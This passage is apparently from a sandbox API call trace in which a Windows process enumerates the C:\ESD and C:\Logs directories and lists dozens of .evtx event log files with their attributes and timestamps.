	[0240.419] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.420] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.420] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.420] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.420] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0240.420] GetFileAttributesExW (in: lpFileName="C:\\Logs" (normalized: "c:\\logs"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.434] SetEvent (hEvent=0x124) returned 1
	[0240.434] CreateFileW (lpFileName="C:\\Logs" (normalized: "c:\\logs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.434] VirtualAlloc (lpAddress=0xc0004de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004de000
	[0240.435] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0240.455] SetEvent (hEvent=0x124) returned 1
	[0240.455] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.470] SetEvent (hEvent=0x124) returned 1
	[0240.470] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1
	[0240.470] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1
	[0240.470] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1
	[0240.471] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1
	[0240.471] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1
	[0240.471] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1
	[0240.471] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1
	[0240.471] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1
	[0240.471] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1
	[0240.471] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1
	[0240.471] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1
	[0240.471] VirtualAlloc (lpAddress=0xc0004e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004e0000
	[0240.472] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1
	[0240.472] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1
	[0240.472] VirtualAlloc (lpAddress=0xc0004e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004e2000
	[0240.472] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1
	[0240.472] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1
	[0240.473] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1
	[0240.473] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1
	[0240.473] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1
	[0240.473] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1
	[0240.473] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1
	[0240.473] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1
	[0240.474] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1
	[0240.475] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1
	[0240.475] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1
